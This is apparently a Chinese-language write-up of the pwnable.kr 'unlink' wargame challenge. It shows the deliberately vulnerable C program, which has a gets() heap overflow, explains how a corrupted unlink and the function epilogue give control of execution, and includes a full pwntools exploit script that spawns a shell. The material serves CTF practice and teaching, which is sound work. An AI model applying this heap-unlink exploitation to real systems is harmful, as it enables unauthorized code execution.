题目描述

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
	struct tagOBJ* fd;
	struct tagOBJ* bk;
	char buf[8];
}OBJ;

void shell(){
	system("/bin/sh");
}

void unlink(OBJ* P){
	OBJ* BK;
	OBJ* FD;
	BK=P->bk;
	FD=P->fd;
	FD->bk=BK;
	BK->fd=FD;
}
int main(int argc, char* argv[]){
	malloc(1024);
	OBJ* A = (OBJ*)malloc(sizeof(OBJ));
	OBJ* B = (OBJ*)malloc(sizeof(OBJ));
	OBJ* C = (OBJ*)malloc(sizeof(OBJ));

	// double linked list: A <-> B <-> C
	A->fd = B;
	B->bk = A;
	B->fd = C;
	C->bk = B;

	printf("here is stack address leak: %p\n", &A);
	printf("here is heap address leak: %p\n", A);
	printf("now that you have leaks, get shell!\n");
	// heap overflow!
	gets(A->buf);

	// exploit this unlink!
	unlink(B);
	return 0;
}

题目分析

程序逻辑

程序创建了三个fast chunk,并用A B C 三个(*tagOBJ)的结构体指针指向chunk的内容。并让A B C 构成一个双向链表,之后模拟unlink操作将B解链。

漏洞信息

	FD->bk=BK; // FD+4 = BK
	BK->fd=FD; // BK = FD

由于chunk A的buf发生了堆溢出,因此可以伪造chunkB 的 FD和BK,unlink时造成任意地址写。

一个错误的思路是修改FD为ebp的地址,BK为function shell的地址。在FD->bk=BK;时,修改ret address为function shell的地址,但在BK->fd=FD; 时,由于function shell处不可写,因此不可利用。

因此,难点在于FD+4和BK的必须要是可写的。FD+4和BK的值都要是可写的。function unlink结束后程序就退出了,因此unlink的操作必须修改返回地址。分为两种情况 :

  1. 覆盖FD = ret_addr - 4

    此时BK为下一条指令的地址,并且该地址可写。但是函数返回之后跳转到BK,又要求该地址可执行。程序中找不到可写可执行的地址。

  2. 覆盖BK = ret_addr

    此时FD为下一条指令的地址,并且FD+4可写。同样,也几乎找不到这样的FD地址。

似乎陷入了僵局,堆溢出触发的unlink操作对FD和BK的要求很高,直接修改ret_addr失败。

重新查看了一下程序的反汇编代码,发现程序在ret时的操作有些奇怪。ret后,调用的是[ebp-4]-4 指向的地址的指令。虽然不能直接用unlink修改ret_addr,可以考虑修改[ebp-4]来间接修改ret_addr。

.text:080485F2                 call    unlink
.text:080485F7                 add     esp, 10h
.text:080485FA                 mov     eax, 0
.text:080485FF                 mov     ecx, [ebp+var_4]
.text:08048602                 leave
.text:08048603                 lea     esp, [ecx-4]
.text:08048606                 retn

若retn后指向function shell,则:

  1. 要求 esp -> shell # 0x80484eb // esp = &shell_addr
  2. 要求 ecx -4 -> shell # 0x80484eb // ecx -4 = &shell_addr
  3. ecx = [ebp-4] ,要求[ebp-4] 为&shell_addr+4。

利用unlink 将[ebp-4] 写为&shell_addr+4 : FD = ebp-4 -4 (栈中的地址) BK = &shell_addr+4 (可在堆中写入shell_addr,&shell_addr+4为在堆中的地址) 则FD->bk = BK: ebp-4-4 +4 = &shell_addr+4

exp

from pwn import *
remote = 1
if remote :
    s = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest' )
    p = s.process('./unlink')
else:
    p = process('./unlink')
# leak = r.recvuntil('shell!\n')
# stack_addr = int(leak.split('leak: 0x')[1][:8], 16)
# heap_addr = int(leak.split('leak: 0x')[2][:8], 16)
stack_addr = p.recvuntil('ere is stack address leak: ')
stack_addr = int(p.recv(10),16)
log.info(hex(stack_addr))

heap_addr = p.recvuntil('here is heap address leak: ')
heap_addr = int(p.recv(10),16)
log.info(hex(heap_addr))

shell_addr = 0x080484EB
payload = p32(shell_addr) + 'A'*0x4 + '\x00'*0x4 + p32(0x19) + p32(stack_addr + 0x14 -0x4-0x4) + p32(heap_addr+0x8 +0x4)
#gdb.attach(pidof(p)[0],'b *0x080485F2')
p.sendline(payload)
p.interactive() 

总结

unlink操作要求FD BK均可写。本题的关键在于,发现ret的地址是[ebp-4] -4 指向的地址,因此可以构造一个在heap中的二级指针(可写),这样才满足unlink中FD和BK均可写的条件。